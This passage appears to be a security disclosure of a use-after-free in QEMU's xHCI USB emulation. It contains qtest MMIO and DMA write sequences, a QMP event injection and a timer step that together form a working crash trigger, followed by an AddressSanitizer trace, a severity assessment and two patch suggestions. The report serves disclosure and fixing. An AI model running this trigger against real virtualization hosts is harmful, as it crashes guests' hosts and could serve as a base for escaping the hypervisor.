write 0x4000000 0x100 0x00000000000000000020000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
OK
write 0x4001000 0x10 0x00500004000000000001000000000000
OK
write 0x4004000 0x40 0x00410004000000000800000011040000000000000000000000000000211c00000000000000000000000000000000000000000000000000000000000000000000
OK
write 0x4002000 0x100 0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
OK
writel 0xfeb00040 0x00000002
OK
readl 0xfeb00044
OK 0x0000000000000001
writel 0xfeb00070 0x04000000
OK
writel 0xfeb00074 0x00000000
OK
writel 0xfeb00078 0x00000001
OK
writel 0xfeb00058 0x04000201
OK
writel 0xfeb0005c 0x00000000
OK
writel 0xfeb01028 0x00000001
OK
writel 0xfeb01038 0x04005000
OK
writel 0xfeb0103c 0x00000000
OK
writel 0xfeb01030 0x04001000
OK
writel 0xfeb01034 0x00000000
OK
writel 0xfeb00040 0x00000005
OK
readl 0xfeb00044
OK 0x0000000000000000
write 0x4000200 0x10 0x00000000000000000000000001240000
OK
writel 0xfeb02000 0x00000000
OK
read 0x4005000 0x10
OK 0x00020004000000000000000101840001
write 0x4003000 0x100 0x00000000030000000000000000000000000000000000000000000000000000000000000800000500000000000000000000000000000000000000000000000000000000002000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
OK
write 0x4000210 0x10 0x003000040000000000000000012c0001
OK
writel 0xfeb02000 0x00000000
OK
read 0x4005010 0x10
OK 0x10020004000000000000000101840001
write 0x4003000 0x100 0x00000000090000000000000000000000000000000000000000000000000000000000001800000500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000038000800014000040000000008000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
OK
write 0x4000220 0x10 0x00300004000000000000000001300001
OK
writel 0xfeb02000 0x00000000
OK
read 0x4005020 0x10
OK 0x20020004000000000000000101840001
write 0x4000230 0x10 0x00000000000000000000000001280001
OK
write 0x4001010 0x10 0x0020b0fe000000001000000000000000
OK
writel 0xfeb01030 0x04001010
OK
writel 0xfeb01034 0x00000000
OK
writel 0xfeb01038 0xfeb02000
OK
writel 0xfeb0103c 0x00000000
OK
writel 0xfeb02004 0x00000003
OK
```
#### Terminal 3 - Inject Mouse Event via QMP
```
$ socat - UNIX-CONNECT:/tmp/xhci-qmp.sock
{"QMP": {"version": {"qemu": {"micro": 93, "minor": 0, "major": 11}, "package": "v11.1.0-rc3-dirty"}, "capabilities": ["oob"]}}
{"execute": "qmp_capabilities"}
{"return": {}}
{"execute": "input-send-event", "arguments": {"events": [{"type": "abs", "data": {"axis": "x", "value": 16384}}, {"type": "abs", "data": {"axis": "y", "value": 16384}}]}}
{"return": {}}
```
Terminal 2 - Fire Timer, trigger UAF
```
...
...
clock_step 0x30d40
```
Terminal 1 - Observe Crash (UAF)
```
...
...
qemu-system-x86_64: warning: Blocked re-entrant IO on MemoryRegion: doorbell at addr: 0x0
=================================================================
==523967==ERROR: AddressSanitizer: heap-use-after-free on address 0x51100008fa98 at pc 0x55a1406c5340 bp 0x7ffc5b7e7f90 sp 0x7ffc5b7e7f88
READ of size 4 at 0x51100008fa98 thread T0
#0 0x55a1406c533f in xhci_xfer_report ~/targets/qemu/build-asan/../hw/usb/hcd-xhci.c:1562:23
#1 0x55a1406b7ac6 in xhci_kick_epctx ~/targets/qemu/build-asan/../hw/usb/hcd-xhci.c
#2 0x55a1417931bd in timerlist_run_timers ~/targets/qemu/build-asan/../util/qemu-timer.c:593:9
#3 0x55a141794447 in qemu_clock_run_timers ~/targets/qemu/build-asan/../util/qemu-timer.c:607:12
#4 0x55a141794447 in qemu_clock_advance_virtual_time ~/targets/qemu/build-asan/../util/qemu-timer.c:713:9
#5 0x55a140a3cb28 in qtest_process_command ~/targets/qemu/build-asan/../system/qtest.c:726:18
#6 0x55a140a3899d in qtest_process_inbuf ~/targets/qemu/build-asan/../system/qtest.c:821:9
#7 0x55a1414adbf7 in tcp_chr_read ~/targets/qemu/build-asan/../chardev/char-socket.c:511:13
#8 0x7f17c7c343c4 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5c3c4) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
#9 0x7f17c7c36cb7 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5ecb7) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
#10 0x55a14177d5d3 in glib_pollfds_poll ~/targets/qemu/build-asan/../util/main-loop.c:292:9
#11 0x55a14177d5d3 in os_host_main_loop_wait ~/targets/qemu/build-asan/../util/main-loop.c:315:5
#12 0x55a14177d5d3 in main_loop_wait ~/targets/qemu/build-asan/../util/main-loop.c:594:11
#13 0x55a140a46c36 in qemu_main_loop ~/targets/qemu/build-asan/../system/runstate.c:950:9
#14 0x55a141529190 in qemu_default_main ~/targets/qemu/build-asan/../system/main.c:50:14
#15 0x55a141529161 in main ~/targets/qemu/build-asan/../system/main.c:93:9
#16 0x7f17c729dca7 (/lib/x86_64-linux-gnu/libc.so.6+0x29ca7) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)
#17 0x7f17c729dd64 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29d64) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)
#18 0x55a13f7b3c80 in _start (~/targets/qemu/build-asan/qemu-system-x86_64+0x1974c80) (BuildId: c50f47dd16a6360890da4cf2c69be060b0819668)
0x51100008fa98 is located 216 bytes inside of 256-byte region [0x51100008f9c0,0x51100008fac0)
freed by thread T0 here:
#0 0x55a13f85381a in free (~/targets/qemu/build-asan/qemu-system-x86_64+0x1a1481a) (BuildId: c50f47dd16a6360890da4cf2c69be060b0819668)
#1 0x55a1406ce9a7 in xhci_ep_nuke_xfers ~/targets/qemu/build-asan/../hw/usb/hcd-xhci.c:1263:9
#2 0x55a1406dabf2 in xhci_disable_ep ~/targets/qemu/build-asan/../hw/usb/hcd-xhci.c:1290:5
#3 0x55a1406da5c7 in xhci_disable_slot ~/targets/qemu/build-asan/../hw/usb/hcd-xhci.c:2060:13
#4 0x55a1406d5b5d in xhci_process_commands ~/targets/qemu/build-asan/../hw/usb/hcd-xhci.c:2514:31
#5 0x55a1409dc701 in memory_region_write_accessor ~/targets/qemu/build-asan/../system/memory.c:492:5
#6 0x55a1409dc0a0 in access_with_adjusted_size ~/targets/qemu/build-asan/../system/memory.c:568:18
#7 0x55a1409db36a in memory_region_dispatch_write ~/targets/qemu/build-asan/../system/memory.c
#8 0x55a140a30791 in flatview_write_continue_step ~/targets/qemu/build-asan/../system/physmem.c:3261:18
#9 0x55a140a21fa6 in flatview_write_continue ~/targets/qemu/build-asan/../system/physmem.c:3291:19
#10 0x55a140a21fa6 in flatview_write ~/targets/qemu/build-asan/../system/physmem.c:3322:12
#11 0x55a140a21d31 in address_space_write ~/targets/qemu/build-asan/../system/physmem.c:3442:18
#12 0x55a1406c6a1d in dma_memory_rw_relaxed ~/targets/qemu/build-asan/../include/system/dma.h:87:12
#13 0x55a1406c6a1d in dma_memory_rw ~/targets/qemu/build-asan/../include/system/dma.h:130:12
#14 0x55a1406c6a1d in dma_memory_write ~/targets/qemu/build-asan/../include/system/dma.h:171:12
#15 0x55a1406c6a1d in xhci_write_event ~/targets/qemu/build-asan/../hw/usb/hcd-xhci.c:625:9
#16 0x55a1406c20b4 in xhci_event ~/targets/qemu/build-asan/../hw/usb/hcd-xhci.c:676:9
#17 0x55a1406c4671 in xhci_xfer_report ~/targets/qemu/build-asan/../hw/usb/hcd-xhci.c:1560:13
#18 0x55a1406b7ac6 in xhci_kick_epctx ~/targets/qemu/build-asan/../hw/usb/hcd-xhci.c
#19 0x55a1417931bd in timerlist_run_timers ~/targets/qemu/build-asan/../util/qemu-timer.c:593:9
#20 0x55a141794447 in qemu_clock_run_timers ~/targets/qemu/build-asan/../util/qemu-timer.c:607:12
#21 0x55a141794447 in qemu_clock_advance_virtual_time ~/targets/qemu/build-asan/../util/qemu-timer.c:713:9
#22 0x55a140a3cb28 in qtest_process_command ~/targets/qemu/build-asan/../system/qtest.c:726:18
#23 0x55a140a3899d in qtest_process_inbuf ~/targets/qemu/build-asan/../system/qtest.c:821:9
#24 0x55a1414adbf7 in tcp_chr_read ~/targets/qemu/build-asan/../chardev/char-socket.c:511:13
#25 0x7f17c7c343c4 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5c3c4) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
previously allocated by thread T0 here:
#0 0x55a13f853c9d in calloc (~/targets/qemu/build-asan/qemu-system-x86_64+0x1a14c9d) (BuildId: c50f47dd16a6360890da4cf2c69be060b0819668)
#1 0x7f17c7c3d799 in g_malloc0 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x65799) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
#2 0x55a1409dc701 in memory_region_write_accessor ~/targets/qemu/build-asan/../system/memory.c:492:5
#3 0x55a1409dc0a0 in access_with_adjusted_size ~/targets/qemu/build-asan/../system/memory.c:568:18
#4 0x55a1409db36a in memory_region_dispatch_write ~/targets/qemu/build-asan/../system/memory.c
#5 0x55a140a30791 in flatview_write_continue_step ~/targets/qemu/build-asan/../system/physmem.c:3261:18
#6 0x55a140a21fa6 in flatview_write_continue ~/targets/qemu/build-asan/../system/physmem.c:3291:19
#7 0x55a140a21fa6 in flatview_write ~/targets/qemu/build-asan/../system/physmem.c:3322:12
#8 0x55a140a21d31 in address_space_write ~/targets/qemu/build-asan/../system/physmem.c:3442:18
#9 0x55a140a3a761 in qtest_process_command ~/targets/qemu/build-asan/../system/qtest.c:532:13
#10 0x55a140a3899d in qtest_process_inbuf ~/targets/qemu/build-asan/../system/qtest.c:821:9
#11 0x55a1414adbf7 in tcp_chr_read ~/targets/qemu/build-asan/../chardev/char-socket.c:511:13
#12 0x7f17c7c343c4 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5c3c4) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
SUMMARY: AddressSanitizer: heap-use-after-free ~/targets/qemu/build-asan/../hw/usb/hcd-xhci.c:1562:23 in xhci_xfer_report
Shadow bytes around the buggy address:
0x51100008f800: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x51100008f880: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008f900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008f980: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x51100008fa00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x51100008fa80: fd fd fd[fd]fd fd fd fd fa fa fa fa fa fa fa fa
0x51100008fb00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008fb80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008fc00: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x51100008fc80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008fd00: fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==523967==ABORTING
```
## Impact, Exploitability, And Severity
Severity: High
Impact: reliable DoS
Exploitability: RCE Plausible but not trivial
I am no wizard in linux/virtualization/qemu exploitation. Given the lack of reallocation window and limited write primitive (from UAF), I personally think it's hard to exploit this just by the bug alone. I will very likely need another bug or some fancy tricks to get RCE.
## Suggested Fix
UAF requires these 2 bugs. Fix either one is sufficient to kill UAF. It's probably better to fix both, as there may be other ways/triggers to abuse either of these 2 bugs.
### Validate `intr->er_start` in `xhci_er_reset()`
```c
...
...
MemoryRegionSection sec = memory_region_find(xhci->as->root, intr->er_start, TRB_SIZE);
bool is_ram = sec.mr && memory_region_is_ram(sec.mr);
if (sec.mr) {
memory_region_unref(sec.mr); /* memory_region_find() returns a *referenced* section */
}
if (!is_ram) {
DPRINTF("xhci: er_start 0x%"PRIx64" is not RAM — rejecting ERST\n", intr->er_start);
xhci_die(xhci);
return;
}
```
### Do Reentrancy Guard on the timer / async-completion entry points
```c
static void xhci_ep_kick_timer(void *opaque)
{
XHCIEPContext *epctx = opaque;
DeviceState *dev = DEVICE(epctx->xhci);
if (dev->mem_reentrancy_guard.engaged_in_io) {
return; /* already inside device I/O — do not re-enter */
}
dev->mem_reentrancy_guard.engaged_in_io = true;
xhci_kick_epctx(epctx, 0);
dev->mem_reentrancy_guard.engaged_in_io = false;
}
```
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